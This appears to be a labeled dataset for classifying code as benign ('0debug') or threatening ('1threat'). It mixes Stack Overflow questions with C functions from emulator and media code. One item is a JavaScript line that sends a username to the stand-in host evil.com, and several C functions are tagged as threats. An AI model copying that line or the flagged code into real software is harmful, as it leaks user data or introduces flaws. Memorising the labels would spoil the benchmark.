"Write a formula which takes the number of kms that Mr. Z has travelled from A as the input and displays the name of the city which is nearest to that point.
Mr. Z will enter the number of kms he has travelled from A in cell D30 and the name of the city nearest to the point will be displayed in E30"
[1]: https://i.stack.imgur.com/yMTFw.png
| 0debug
|
bool qemu_file_is_writable(QEMUFile *f)
{
return f->ops->writev_buffer || f->ops->put_buffer;
}
| 1threat
|
How to check if a user has administrative privileges by user name/domain : How can I know if a user has administrative privileges if the only information that I have is the user name (and domain if relevant)?
I do know how to get this information for the current user.
However, in my case, I need to get this information for a user which is not logged in yet (I'm working on Credential Provider). Therefore, I can only use the user name & domain.
I'm working with C#/C++.
| 0debug
|
Change paypal shopping cart/checkout input labels, form name and remove quantity input : <p>how can I change the labels to the shopping cart?
<a href="https://www.paypal.com/webapps/shoppingcart" rel="noreferrer">https://www.paypal.com/webapps/shoppingcart</a></p>
<p>Getting to this page by sending this form</p>
<pre><code><div class="paypal_module">
<form id="paypal_form_1_buy_now_button" method="post" action="https://www.paypal.com/cgi-bin/webscr">
<div class="hiddenFields">
<input type="hidden" name="cmd" value="_xclick">
<input type="hidden" name="upload" value="1">
<input type="hidden" name="business" value="nancy@somesite.com">
<input type="hidden" name="return" value="{homepage}advance-reservations/confirmation">
<input type="hidden" name="cancel_return" value="{homepage}">
<input type="hidden" name="item_name" value="">
<input type="hidden" name="item_number" value="1">
<input type="hidden" name="amount" value="">
<input type="hidden" name="lc" value="US">
<input type="hidden" name="currency_code" value="">
<input type="hidden" name="custom" value="1">
<input type="hidden" name="site_id" value="1">
<INPUT TYPE="hidden" NAME="first_name" VALUE="">
<INPUT TYPE="hidden" NAME="last_name" VALUE="">
<INPUT TYPE="hidden" NAME="email" VALUE="">
<INPUT TYPE="hidden" NAME="night_phone_a" VALUE="">
<INPUT TYPE="hidden" NAME="city" VALUE="">
<INPUT TYPE="hidden" NAME="zip" VALUE="">
<INPUT TYPE="hidden" NAME="state" VALUE="">
<INPUT TYPE="hidden" NAME="address1" VALUE="">
<INPUT TYPE="hidden" NAME="address2" VALUE="">
<INPUT TYPE="hidden" NAME="undefined_quantity" VALUE="1">
</div>
<input type="submit" id="trip-booking-submit" name="submit" value="Submit" class="paypal_button button-sm-primary" style="float: right">
</form>
</code></pre>
<p>I would need to change the labels as in this pic. Is this possible?</p>
<p>Changes needed:</p>
<ul>
<li>Change the form name from "Purchase details" to "Deposit details"</li>
<li>Change input label from "Price per item" to "Deposit amount"</li>
<li>Remove the quantity input</li>
</ul>
<p><a href="https://i.stack.imgur.com/6FJnJ.png" rel="noreferrer"><img src="https://i.stack.imgur.com/6FJnJ.png" alt="enter image description here"></a></p>
<p>Thanks in advance!</p>
<p>Helping links: <a href="https://www.paypal.com/cgi-bin/webscr?cmd=p/pdn/howto_checkout-outside" rel="noreferrer">https://www.paypal.com/cgi-bin/webscr?cmd=p/pdn/howto_checkout-outside</a></p>
<p><a href="https://developer.paypal.com/docs/classic/express-checkout/integration-guide/ECCustomizing/#setting-the-paypal-checkout-page-style" rel="noreferrer">https://developer.paypal.com/docs/classic/express-checkout/integration-guide/ECCustomizing/#setting-the-paypal-checkout-page-style</a></p>
| 0debug
|
What are the possible ways to create a list containing 50 ones in python? : <p>What are the various ways in which we can create a list containing 50 one's using python?</p>
| 0debug
|
ConstraintLayout - avoid overlapping : <p>There is a <code>ConstraintLayout</code> layout:</p>
<pre><code><android.support.constraint.ConstraintLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent">
<Button
android:id="@+id/button10"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:ellipsize="end"
android:singleLine="true"
android:text="small text"
app:layout_constraintLeft_toLeftOf="parent"/>
<Button
android:ellipsize="end"
android:singleLine="true"
android:id="@+id/button11"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="small text"
app:layout_constraintRight_toRightOf="parent"/>
</android.support.constraint.ConstraintLayout>
</code></pre>
<p>It is displayed like this:
<a href="https://i.stack.imgur.com/47ywK.png" rel="noreferrer"><img src="https://i.stack.imgur.com/47ywK.png" alt="введите сюда описание изображения"></a>
Now is Ok, but if i change
<code>android:text="small text"</code> to <code>android:text="big teeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeext"</code> then views will overlap each other..</p>
<p>I'm need to make sure that with a small text there is a "wrap content", as I actually did on the screenshot above, but with a larger text, the text views must occupy a maximum of about 40 percent horizontally of the parent. Well also that the text was not transferred - I do <code>android: ellipsize =" end "</code> and <code>android: singleLine =" true</code>.</p>
<p>This is how it should be (edited in Photoshop for demonstration):
<a href="https://i.stack.imgur.com/Vr1VT.png" rel="noreferrer"><img src="https://i.stack.imgur.com/Vr1VT.png" alt="введите сюда описание изображения"></a>
How do this with ConstraintLayout or if can't - with others layouts?</p>
| 0debug
|
How can i find longest substring without number in a string of alphanumerical characters in C# : <p>How can i find longest substring without number in a string of alphanumerical characters in C#. for example, if a string is a1bcd2, how can i extract bcd?</p>
| 0debug
|
static void bdrv_qed_invalidate_cache(BlockDriverState *bs, Error **errp)
{
BDRVQEDState *s = bs->opaque;
Error *local_err = NULL;
int ret;
bdrv_qed_close(bs);
memset(s, 0, sizeof(BDRVQEDState));
ret = bdrv_qed_do_open(bs, NULL, bs->open_flags, &local_err);
if (local_err) {
error_propagate(errp, local_err);
error_prepend(errp, "Could not reopen qed layer: ");
return;
} else if (ret < 0) {
error_setg_errno(errp, -ret, "Could not reopen qed layer");
return;
}
}
| 1threat
|
static void vc1_inv_trans_8x8_c(DCTELEM block[64])
{
int i;
register int t1,t2,t3,t4,t5,t6,t7,t8;
DCTELEM *src, *dst, temp[64];
src = block;
dst = temp;
for(i = 0; i < 8; i++){
t1 = 12 * (src[ 0] + src[32]) + 4;
t2 = 12 * (src[ 0] - src[32]) + 4;
t3 = 16 * src[16] + 6 * src[48];
t4 = 6 * src[16] - 16 * src[48];
t5 = t1 + t3;
t6 = t2 + t4;
t7 = t2 - t4;
t8 = t1 - t3;
t1 = 16 * src[ 8] + 15 * src[24] + 9 * src[40] + 4 * src[56];
t2 = 15 * src[ 8] - 4 * src[24] - 16 * src[40] - 9 * src[56];
t3 = 9 * src[ 8] - 16 * src[24] + 4 * src[40] + 15 * src[56];
t4 = 4 * src[ 8] - 9 * src[24] + 15 * src[40] - 16 * src[56];
dst[0] = (t5 + t1) >> 3;
dst[1] = (t6 + t2) >> 3;
dst[2] = (t7 + t3) >> 3;
dst[3] = (t8 + t4) >> 3;
dst[4] = (t8 - t4) >> 3;
dst[5] = (t7 - t3) >> 3;
dst[6] = (t6 - t2) >> 3;
dst[7] = (t5 - t1) >> 3;
src += 1;
dst += 8;
}
src = temp;
dst = block;
for(i = 0; i < 8; i++){
t1 = 12 * (src[ 0] + src[32]) + 64;
t2 = 12 * (src[ 0] - src[32]) + 64;
t3 = 16 * src[16] + 6 * src[48];
t4 = 6 * src[16] - 16 * src[48];
t5 = t1 + t3;
t6 = t2 + t4;
t7 = t2 - t4;
t8 = t1 - t3;
t1 = 16 * src[ 8] + 15 * src[24] + 9 * src[40] + 4 * src[56];
t2 = 15 * src[ 8] - 4 * src[24] - 16 * src[40] - 9 * src[56];
t3 = 9 * src[ 8] - 16 * src[24] + 4 * src[40] + 15 * src[56];
t4 = 4 * src[ 8] - 9 * src[24] + 15 * src[40] - 16 * src[56];
dst[ 0] = (t5 + t1) >> 7;
dst[ 8] = (t6 + t2) >> 7;
dst[16] = (t7 + t3) >> 7;
dst[24] = (t8 + t4) >> 7;
dst[32] = (t8 - t4 + 1) >> 7;
dst[40] = (t7 - t3 + 1) >> 7;
dst[48] = (t6 - t2 + 1) >> 7;
dst[56] = (t5 - t1 + 1) >> 7;
src++;
dst++;
}
}
| 1threat
|
Split string list according to the second delimeter : <p>given I have a string list like this:</p>
<pre><code><class 'list'>: ['a;b;c', '9;6;0.4', '9;2;0.6', '10;7;0.3', '10;8;0.7']
</code></pre>
<p>How can I use split to split it according to the second ";" to this format:</p>
<pre><code><class 'list'>: ['a;b', '9;6', '9;2', '10;7', '10;8']
</code></pre>
<p>Thank you very much!.</p>
| 0debug
|
why my output in json data contain extra curly braces : The main problem of this code is that it provides extra curly braces ..
<?php
header('Content-Type: json');
include('config.php');
for($i=1990;$i<=2016;$i++){
$sum=0;
$data1=array();
$result=mysql_query("select * from crimedetails where crime_year=$i");
while($row=mysql_fetch_array($result))
{
$sum+=$row['crime_mudered'];
$data['crime_mudered']=$sum;
$data['crime_year']=$row['crime_year'];
}
$data3[]=$data;
}
array_push($data1,$data3);
print json_encode($data1);
?>
[enter image description here][1]
[1]: http://i.stack.imgur.com/fbdBs.png
| 0debug
|
document.location = 'http://evil.com?username=' + user_input;
| 1threat
|
static int handle_secondary_tcp_pkt(NetFilterState *nf,
Connection *conn,
Packet *pkt)
{
struct tcphdr *tcp_pkt;
tcp_pkt = (struct tcphdr *)pkt->transport_header;
if (trace_event_get_state(TRACE_COLO_FILTER_REWRITER_DEBUG)) {
char *sdebug, *ddebug;
sdebug = strdup(inet_ntoa(pkt->ip->ip_src));
ddebug = strdup(inet_ntoa(pkt->ip->ip_dst));
trace_colo_filter_rewriter_pkt_info(__func__, sdebug, ddebug,
ntohl(tcp_pkt->th_seq), ntohl(tcp_pkt->th_ack),
tcp_pkt->th_flags);
trace_colo_filter_rewriter_conn_offset(conn->offset);
g_free(sdebug);
g_free(ddebug);
}
if (((tcp_pkt->th_flags & (TH_ACK | TH_SYN)) == (TH_ACK | TH_SYN))) {
conn->offset = ntohl(tcp_pkt->th_seq);
}
if ((tcp_pkt->th_flags & (TH_ACK | TH_SYN)) == TH_ACK) {
tcp_pkt->th_seq = htonl(ntohl(tcp_pkt->th_seq) - conn->offset);
net_checksum_calculate((uint8_t *)pkt->data, pkt->size);
}
return 0;
}
| 1threat
|
How could I write variable input function : <p>I am trying to write a multi input function in C programming. Could somebody explain me that what is the meaning of the 3 points in the following code example? I realize that I could use “sprintf” with 2 input or 3 or more depending of the demand. How could use this method in my programs. Thanks in advance</p>
<pre><code>int sprintf (char *string, const char *form, … );
</code></pre>
| 0debug
|
int poll(struct pollfd *fds, nfds_t numfds, int timeout)
{
fd_set read_set;
fd_set write_set;
fd_set exception_set;
nfds_t i;
int n;
int rc;
#ifdef __MINGW32__
if (numfds >= FD_SETSIZE) {
errno = EINVAL;
return -1;
}
#endif
FD_ZERO(&read_set);
FD_ZERO(&write_set);
FD_ZERO(&exception_set);
n = -1;
for(i = 0; i < numfds; i++) {
if (fds[i].fd < 0)
continue;
#ifndef __MINGW32__
if (fds[i].fd >= FD_SETSIZE) {
errno = EINVAL;
return -1;
}
#endif
if (fds[i].events & POLLIN) FD_SET(fds[i].fd, &read_set);
if (fds[i].events & POLLOUT) FD_SET(fds[i].fd, &write_set);
if (fds[i].events & POLLERR) FD_SET(fds[i].fd, &exception_set);
if (fds[i].fd > n)
n = fds[i].fd;
};
if (n == -1)
return 0;
if (timeout < 0)
rc = select(n+1, &read_set, &write_set, &exception_set, NULL);
else {
struct timeval tv;
tv.tv_sec = timeout / 1000;
tv.tv_usec = 1000 * (timeout % 1000);
rc = select(n+1, &read_set, &write_set, &exception_set, &tv);
};
if (rc < 0)
return rc;
for(i = 0; i < (nfds_t) n; i++) {
fds[i].revents = 0;
if (FD_ISSET(fds[i].fd, &read_set)) fds[i].revents |= POLLIN;
if (FD_ISSET(fds[i].fd, &write_set)) fds[i].revents |= POLLOUT;
if (FD_ISSET(fds[i].fd, &exception_set)) fds[i].revents |= POLLERR;
};
return rc;
}
| 1threat
|
Resolver Emitting Error ` ERROR Error: "[object Object]" ` : <p>I'm having a problem with regards of implementing a resolver on my routes as it has no issue until I include <code>InitialDataResolver</code> on my routing module.</p>
<blockquote>
<p>pages-routing.module.ts</p>
</blockquote>
<pre><code>import { NgModule } from '@angular/core';
import { Routes, RouterModule } from '@angular/router';
import { FrontComponent } from '../layouts/front/front.component';
import { HomeComponent } from './home/home.component';
import { DocsComponent } from './docs/docs.component';
import { InitialDataResolver } from './../shared/resolvers/initial-data.resolver';
const routes: Routes = [
{
path: '',
component: FrontComponent,
children: [
{ path: '', component: HomeComponent },
{ path: 'docs', component: DocsComponent }
],
resolve: {
init: InitialDataResolver
},
}
];
@NgModule({
imports: [ RouterModule.forChild(routes) ],
exports: [ RouterModule ],
providers: [ InitialDataResolver ]
})
export class PagesRoutingModule { }
</code></pre>
<blockquote>
<p>initial-data.resolver.ts</p>
</blockquote>
<pre><code>import { Injectable } from '@angular/core';
import { ActivatedRouteSnapshot, Resolve, RouterStateSnapshot } from '@angular/router';
import { Observer } from 'rxjs/Observer';
import { AppInitService } from '../services/app-init.service';
import { Observable } from 'rxjs/Observable';
@Injectable()
export class InitialDataResolver implements Resolve<any> {
constructor(private appInitService: AppInitService) {}
resolve(route: ActivatedRouteSnapshot,
state: RouterStateSnapshot): Observable<any> {
return Observable.create((observer: Observer<any>) => {
this.appInitService.init()
.subscribe(data => {
this.appInitService.preload();
observer.next(data);
observer.complete();
});
});
}
}
</code></pre>
<p>The error that I'm encountering is <code>ERROR Error: "[object Object]"</code>. see the snapshot below:
<a href="https://i.stack.imgur.com/i1ZFc.png" rel="noreferrer"><img src="https://i.stack.imgur.com/i1ZFc.png" alt="object Object Error"></a></p>
| 0debug
|
static void ide_sector_read_cb(void *opaque, int ret)
{
IDEState *s = opaque;
int n;
s->pio_aiocb = NULL;
s->status &= ~BUSY_STAT;
if (ret == -ECANCELED) {
return;
}
block_acct_done(blk_get_stats(s->blk), &s->acct);
if (ret != 0) {
if (ide_handle_rw_error(s, -ret, IDE_RETRY_PIO |
IDE_RETRY_READ)) {
return;
}
}
n = s->nsector;
if (n > s->req_nb_sectors) {
n = s->req_nb_sectors;
}
ide_set_sector(s, ide_get_sector(s) + n);
s->nsector -= n;
ide_transfer_start(s, s->io_buffer, n * BDRV_SECTOR_SIZE, ide_sector_read);
ide_set_irq(s->bus);
}
| 1threat
|
Material-ui response to breaking change in React 15.4.0? "Cannot resolve module 'react/lib/EventPluginHub'" : <p>React v 15.4.0 was released this morning and seems to have included a change that broke react-tap-event-plugin v1.0.0 producing this error:</p>
<pre><code>$ npm build
> myProject@0.1.47 build /.../myProject
> node scripts/build.js
Creating an optimized production build...
Failed to create a production build. Reason:
Module not found: Error: Cannot resolve module 'react/lib/EventPluginHub' in /.../myProject/node_modules/react-tap-event-plugin/src
</code></pre>
<p>(note: I cleaned up the output a little)</p>
<p>According to <a href="https://github.com/zilverline/react-tap-event-plugin/issues/85">THIS react-tap-event issue log</a> version 2.0.0 of react-tap-event fixes the build problem. However, material-ui is still using react-tap-event version 1.0.0. What are the options here? The only options I can think of are:</p>
<ul>
<li>Downgrade react and other packages as described in the link above</li>
<li>Wait for Material-UI to upgrade to react-tap-event 2.0.0</li>
</ul>
<p>Any other solutions here? I'm pretty much dead in the water if I wanted to use react 15.4.0, as far as I can tell.</p>
| 0debug
|
bool bdrv_qiov_is_aligned(BlockDriverState *bs, QEMUIOVector *qiov)
{
int i;
size_t alignment = bdrv_opt_mem_align(bs);
for (i = 0; i < qiov->niov; i++) {
if ((uintptr_t) qiov->iov[i].iov_base % alignment) {
return false;
}
if (qiov->iov[i].iov_len % alignment) {
return false;
}
}
return true;
}
| 1threat
|
Multiplying an input with a select option value : there everyone I am really new in this field and have a lot to learn yet. My question is that I am building an order for my own website and in this form I want users to select an option from a drop-down menu. Now I want each of those values to have a specific price and then when they move down to the quantity section they would be able to select the quantity of the product.
Now I want to print the value of (any selected product i.e. its price) * (the quantity or no. of products). I know that it requires a script but I can't figure out the script. Any help in this regard would be highly appreciated. I'm not sure but I want it to be something like if product 1 is selected then multiply the price of product 1 with its quantity and display results.
this is the code.
Please Select Your Academic Level
<select name="ac_level" required="">
<option id="1" value="highschool">Highschool</option>
<option id="2"value="college">College</option>
<option id="3" value="university">University</option>
<option id="4" value="masters">Masters</option>
<option id="5" value="phd">PhD</option>
</select>
Number of Pages
<input name="pages" required="" type="number" min=1 />
| 0debug
|
static av_always_inline av_flatten void h264_loop_filter_luma_c(uint8_t *pix, int xstride, int ystride, int alpha, int beta, int8_t *tc0)
{
int i, d;
for( i = 0; i < 4; i++ ) {
if( tc0[i] < 0 ) {
pix += 4*ystride;
continue;
}
for( d = 0; d < 4; d++ ) {
const int p0 = pix[-1*xstride];
const int p1 = pix[-2*xstride];
const int p2 = pix[-3*xstride];
const int q0 = pix[0];
const int q1 = pix[1*xstride];
const int q2 = pix[2*xstride];
if( FFABS( p0 - q0 ) < alpha &&
FFABS( p1 - p0 ) < beta &&
FFABS( q1 - q0 ) < beta ) {
int tc = tc0[i];
int i_delta;
if( FFABS( p2 - p0 ) < beta ) {
if(tc0[i])
pix[-2*xstride] = p1 + av_clip( (( p2 + ( ( p0 + q0 + 1 ) >> 1 ) ) >> 1) - p1, -tc0[i], tc0[i] );
tc++;
}
if( FFABS( q2 - q0 ) < beta ) {
if(tc0[i])
pix[ xstride] = q1 + av_clip( (( q2 + ( ( p0 + q0 + 1 ) >> 1 ) ) >> 1) - q1, -tc0[i], tc0[i] );
tc++;
}
i_delta = av_clip( (((q0 - p0 ) << 2) + (p1 - q1) + 4) >> 3, -tc, tc );
pix[-xstride] = av_clip_uint8( p0 + i_delta );
pix[0] = av_clip_uint8( q0 - i_delta );
}
pix += ystride;
}
}
}
| 1threat
|
inline static int push_frame(AVFilterLink *outlink)
{
AVFilterContext *ctx = outlink->src;
AVFilterLink *inlink = ctx->inputs[0];
ShowWavesContext *showwaves = outlink->src->priv;
int nb_channels = inlink->channels;
int ret, i;
if ((ret = ff_filter_frame(outlink, showwaves->outpicref)) >= 0)
showwaves->req_fullfilled = 1;
showwaves->outpicref = NULL;
showwaves->buf_idx = 0;
for (i = 0; i < nb_channels; i++)
showwaves->buf_idy[i] = 0;
return ret;
}
| 1threat
|
Abstract base class design in GoLang vs C++ : I am still learning the Go way of doing things, coming from a C++ background. I am looking for feedback contrasting OOP inheritance to interface composition.
I have a design situation in a Go program where, if I was implementing in C++, I would solve with an abstract base class.
Suppose I need a base class, which has many implementors. The base class has shared methods that do work on abstract data items. Different Worker implementations provide CRUD operations on different item types, but workers all use the shared methods of the base class for general work.
In C++ I might do it this way
class IItem
{
// virtual methods
};
class IWorker
{
public:
// one of many virtual functions that deal with IItem CRUD
virtual IItem* createItem() = 0;
// concrete method that works on interfaces
void doWork()
{
IItem* item = createItem();
// do stuff with an IItem*
}
};
class Toy : public IItem
{
};
// one of many kinds of workers
class ElfWorker : public IWorker
{
public:
ElfWorker()
{
// constructor implicitly calls IWorker()
}
IItem* createItem() override
{
return new Toy;
}
};
in golang you dont have abstract virtual methods such as IWorker::createItem(). Concrete classes need to supply the base with an interface or function that do the right thing.
So I think it is the case that the golang code the ew.ItemCRUD interface has to be explicitly set with a pointer to an ElfWorker.
The elf knows how to createItem(), which in his case happens to be Toy object. Other workers would implement their own ItemCRUD for their data objects.
type Item interface {
// various methods
}
type ItemCRUD interface {
create() Item
// other CRUD
}
type Worker struct {
ItemCRUD // embedded interface
}
func (w *Worker) doWork() {
item := w.create()
// do stuff with item
}
type Toy struct {
}
type ElfWorker struct {
Worker // embedded
// ..
}
func NewElfWorker() *ElfWorker {
ew := &ElfWorker{}
ew.ItemCRUD = ew // <-- #### set Worker ItemCRUD explicitly ####
return ew
}
func (ew *ElfWorker) createItem() Item {
return &Toy{}
}
// more ElfWorker Item CRUD
func bigFunction(w *Worker) {
// ...
w.doWork()
// ..
}
So the part that I am wrestling a bit with is explicit setting. Seems like the "Go way" of composition does require this **explicit** step if I want the base Worker class to provide shared methods on Items.
Thoughts?
| 0debug
|
static void do_v7m_exception_exit(ARMCPU *cpu)
{
CPUARMState *env = &cpu->env;
CPUState *cs = CPU(cpu);
uint32_t excret;
uint32_t xpsr;
bool ufault = false;
bool sfault = false;
bool return_to_sp_process;
bool return_to_handler;
bool rettobase = false;
bool exc_secure = false;
bool return_to_secure;
assert(arm_v7m_is_handler_mode(env));
excret = env->regs[15];
if (env->thumb) {
excret |= 1;
}
qemu_log_mask(CPU_LOG_INT, "Exception return: magic PC %" PRIx32
" previous exception %d\n",
excret, env->v7m.exception);
if ((excret & R_V7M_EXCRET_RES1_MASK) != R_V7M_EXCRET_RES1_MASK) {
qemu_log_mask(LOG_GUEST_ERROR, "M profile: zero high bits in exception "
"exit PC value 0x%" PRIx32 " are UNPREDICTABLE\n",
excret);
}
if (arm_feature(env, ARM_FEATURE_M_SECURITY)) {
if (!env->v7m.secure &&
((excret & R_V7M_EXCRET_ES_MASK) ||
!(excret & R_V7M_EXCRET_DCRS_MASK))) {
sfault = 1;
excret &= ~R_V7M_EXCRET_ES_MASK;
}
}
if (env->v7m.exception != ARMV7M_EXCP_NMI) {
if (arm_feature(env, ARM_FEATURE_M_SECURITY)) {
exc_secure = excret & R_V7M_EXCRET_ES_MASK;
if (armv7m_nvic_raw_execution_priority(env->nvic) >= 0) {
env->v7m.faultmask[exc_secure] = 0;
}
} else {
env->v7m.faultmask[M_REG_NS] = 0;
}
}
switch (armv7m_nvic_complete_irq(env->nvic, env->v7m.exception,
exc_secure)) {
case -1:
ufault = true;
break;
case 0:
break;
case 1:
rettobase = true;
break;
default:
g_assert_not_reached();
}
return_to_handler = !(excret & R_V7M_EXCRET_MODE_MASK);
return_to_sp_process = excret & R_V7M_EXCRET_SPSEL_MASK;
return_to_secure = arm_feature(env, ARM_FEATURE_M_SECURITY) &&
(excret & R_V7M_EXCRET_S_MASK);
if (arm_feature(env, ARM_FEATURE_V8)) {
if (!arm_feature(env, ARM_FEATURE_M_SECURITY)) {
if ((excret & R_V7M_EXCRET_S_MASK) ||
(excret & R_V7M_EXCRET_ES_MASK) ||
!(excret & R_V7M_EXCRET_DCRS_MASK)) {
ufault = true;
}
}
if (excret & R_V7M_EXCRET_RES0_MASK) {
ufault = true;
}
} else {
switch (excret & 0xf) {
case 1:
break;
case 13:
case 9:
if (!rettobase &&
!(env->v7m.ccr[env->v7m.secure] &
R_V7M_CCR_NONBASETHRDENA_MASK)) {
ufault = true;
}
break;
default:
ufault = true;
}
}
if (sfault) {
env->v7m.sfsr |= R_V7M_SFSR_INVER_MASK;
armv7m_nvic_set_pending(env->nvic, ARMV7M_EXCP_SECURE, false);
v7m_exception_taken(cpu, excret);
qemu_log_mask(CPU_LOG_INT, "...taking SecureFault on existing "
"stackframe: failed EXC_RETURN.ES validity check\n");
return;
}
if (ufault) {
env->v7m.cfsr[env->v7m.secure] |= R_V7M_CFSR_INVPC_MASK;
armv7m_nvic_set_pending(env->nvic, ARMV7M_EXCP_USAGE, env->v7m.secure);
v7m_exception_taken(cpu, excret);
qemu_log_mask(CPU_LOG_INT, "...taking UsageFault on existing "
"stackframe: failed exception return integrity check\n");
return;
}
write_v7m_control_spsel_for_secstate(env, return_to_sp_process, exc_secure);
switch_v7m_security_state(env, return_to_secure);
{
uint32_t *frame_sp_p = get_v7m_sp_ptr(env,
return_to_secure,
!return_to_handler,
return_to_sp_process);
uint32_t frameptr = *frame_sp_p;
if (!QEMU_IS_ALIGNED(frameptr, 8) &&
arm_feature(env, ARM_FEATURE_V8)) {
qemu_log_mask(LOG_GUEST_ERROR,
"M profile exception return with non-8-aligned SP "
"for destination state is UNPREDICTABLE\n");
}
if (return_to_secure &&
((excret & R_V7M_EXCRET_ES_MASK) == 0 ||
(excret & R_V7M_EXCRET_DCRS_MASK) == 0)) {
uint32_t expected_sig = 0xfefa125b;
uint32_t actual_sig = ldl_phys(cs->as, frameptr);
if (expected_sig != actual_sig) {
env->v7m.sfsr |= R_V7M_SFSR_INVIS_MASK;
armv7m_nvic_set_pending(env->nvic, ARMV7M_EXCP_SECURE, false);
v7m_exception_taken(cpu, excret);
qemu_log_mask(CPU_LOG_INT, "...taking SecureFault on existing "
"stackframe: failed exception return integrity "
"signature check\n");
return;
}
env->regs[4] = ldl_phys(cs->as, frameptr + 0x8);
env->regs[5] = ldl_phys(cs->as, frameptr + 0xc);
env->regs[6] = ldl_phys(cs->as, frameptr + 0x10);
env->regs[7] = ldl_phys(cs->as, frameptr + 0x14);
env->regs[8] = ldl_phys(cs->as, frameptr + 0x18);
env->regs[9] = ldl_phys(cs->as, frameptr + 0x1c);
env->regs[10] = ldl_phys(cs->as, frameptr + 0x20);
env->regs[11] = ldl_phys(cs->as, frameptr + 0x24);
frameptr += 0x28;
}
env->regs[0] = ldl_phys(cs->as, frameptr);
env->regs[1] = ldl_phys(cs->as, frameptr + 0x4);
env->regs[2] = ldl_phys(cs->as, frameptr + 0x8);
env->regs[3] = ldl_phys(cs->as, frameptr + 0xc);
env->regs[12] = ldl_phys(cs->as, frameptr + 0x10);
env->regs[14] = ldl_phys(cs->as, frameptr + 0x14);
env->regs[15] = ldl_phys(cs->as, frameptr + 0x18);
if (env->regs[15] & 1) {
env->regs[15] &= ~1U;
if (!arm_feature(env, ARM_FEATURE_V8)) {
qemu_log_mask(LOG_GUEST_ERROR,
"M profile return from interrupt with misaligned "
"PC is UNPREDICTABLE on v7M\n");
}
}
xpsr = ldl_phys(cs->as, frameptr + 0x1c);
if (arm_feature(env, ARM_FEATURE_V8)) {
bool will_be_handler = (xpsr & XPSR_EXCP) != 0;
if (return_to_handler != will_be_handler) {
armv7m_nvic_set_pending(env->nvic, ARMV7M_EXCP_USAGE,
env->v7m.secure);
env->v7m.cfsr[env->v7m.secure] |= R_V7M_CFSR_INVPC_MASK;
v7m_exception_taken(cpu, excret);
qemu_log_mask(CPU_LOG_INT, "...taking UsageFault on existing "
"stackframe: failed exception return integrity "
"check\n");
return;
}
}
frameptr += 0x20;
if (xpsr & XPSR_SPREALIGN) {
frameptr |= 4;
}
*frame_sp_p = frameptr;
}
xpsr_write(env, xpsr, ~XPSR_SPREALIGN);
if (return_to_handler != arm_v7m_is_handler_mode(env)) {
assert(!arm_feature(env, ARM_FEATURE_V8));
armv7m_nvic_set_pending(env->nvic, ARMV7M_EXCP_USAGE, false);
env->v7m.cfsr[env->v7m.secure] |= R_V7M_CFSR_INVPC_MASK;
v7m_push_stack(cpu);
v7m_exception_taken(cpu, excret);
qemu_log_mask(CPU_LOG_INT, "...taking UsageFault on new stackframe: "
"failed exception return integrity check\n");
return;
}
arm_clear_exclusive(env);
qemu_log_mask(CPU_LOG_INT, "...successful exception return\n");
}
| 1threat
|
static int sh_pci_init_device(SysBusDevice *dev)
{
SHPCIState *s;
int i;
s = FROM_SYSBUS(SHPCIState, dev);
for (i = 0; i < 4; i++) {
sysbus_init_irq(dev, &s->irq[i]);
}
s->bus = pci_register_bus(&s->busdev.qdev, "pci",
sh_pci_set_irq, sh_pci_map_irq,
s->irq,
get_system_memory(),
get_system_io(),
PCI_DEVFN(0, 0), 4);
memory_region_init_io(&s->memconfig_p4, &sh_pci_reg_ops, s,
"sh_pci", 0x224);
memory_region_init_alias(&s->memconfig_a7, "sh_pci.2", &s->memconfig_a7,
0, 0x224);
isa_mmio_setup(&s->isa, 0x40000);
sysbus_init_mmio_cb2(dev, sh_pci_map, sh_pci_unmap);
sysbus_init_mmio_region(dev, &s->memconfig_a7);
sysbus_init_mmio_region(dev, &s->isa);
s->dev = pci_create_simple(s->bus, PCI_DEVFN(0, 0), "sh_pci_host");
return 0;
}
| 1threat
|
static int mov_read_custom(MOVContext *c, AVIOContext *pb, MOVAtom atom)
{
int64_t end = avio_tell(pb) + atom.size;
uint8_t *key = NULL, *val = NULL, *mean = NULL;
int i;
AVStream *st;
MOVStreamContext *sc;
if (c->fc->nb_streams < 1)
return 0;
st = c->fc->streams[c->fc->nb_streams-1];
sc = st->priv_data;
for (i = 0; i < 3; i++) {
uint8_t **p;
uint32_t len, tag;
int ret;
if (end - avio_tell(pb) <= 12)
break;
len = avio_rb32(pb);
tag = avio_rl32(pb);
avio_skip(pb, 4);
if (len < 12 || len - 12 > end - avio_tell(pb))
break;
len -= 12;
if (tag == MKTAG('m', 'e', 'a', 'n'))
p = &mean;
else if (tag == MKTAG('n', 'a', 'm', 'e'))
p = &key;
else if (tag == MKTAG('d', 'a', 't', 'a') && len > 4) {
avio_skip(pb, 4);
len -= 4;
p = &val;
} else
break;
*p = av_malloc(len + 1);
if (!*p)
break;
ret = ffio_read_size(pb, *p, len);
if (ret < 0) {
av_freep(p);
return ret;
}
(*p)[len] = 0;
}
if (mean && key && val) {
if (strcmp(key, "iTunSMPB") == 0) {
int priming, remainder, samples;
if(sscanf(val, "%*X %X %X %X", &priming, &remainder, &samples) == 3){
if(priming>0 && priming<16384)
sc->start_pad = priming;
}
}
if (strcmp(key, "cdec") != 0) {
av_dict_set(&c->fc->metadata, key, val,
AV_DICT_DONT_STRDUP_KEY | AV_DICT_DONT_STRDUP_VAL);
key = val = NULL;
}
} else {
av_log(c->fc, AV_LOG_VERBOSE,
"Unhandled or malformed custom metadata of size %"PRId64"\n", atom.size);
}
avio_seek(pb, end, SEEK_SET);
av_freep(&key);
av_freep(&val);
av_freep(&mean);
return 0;
}
| 1threat
|
static int match_group_separator(const OptionGroupDef *groups, const char *opt)
{
const OptionGroupDef *p = groups;
while (p->name) {
if (p->sep && !strcmp(p->sep, opt))
return p - groups;
p++;
}
return -1;
}
| 1threat
|
Css3 calc minus vh with pixel : <pre><code>.wrap {
height: calc(100vh - 50px);
}
</code></pre>
<p>this won't work. I got output of 50vh. Is there any where I can minus pixel with vh?</p>
| 0debug
|
How to communicate between python and html page using flask framework? : <p>I am building a web-app on top of hadoop(its for internal use) using python's flask framework using jinja2 templates. I have a requirement where I need to communicate/do some changes on existing html. I am not sure how to do that.</p>
<p>The only way I know is to use:</p>
<pre><code>render_template('xyz.html',some_vale=some_value)
</code></pre>
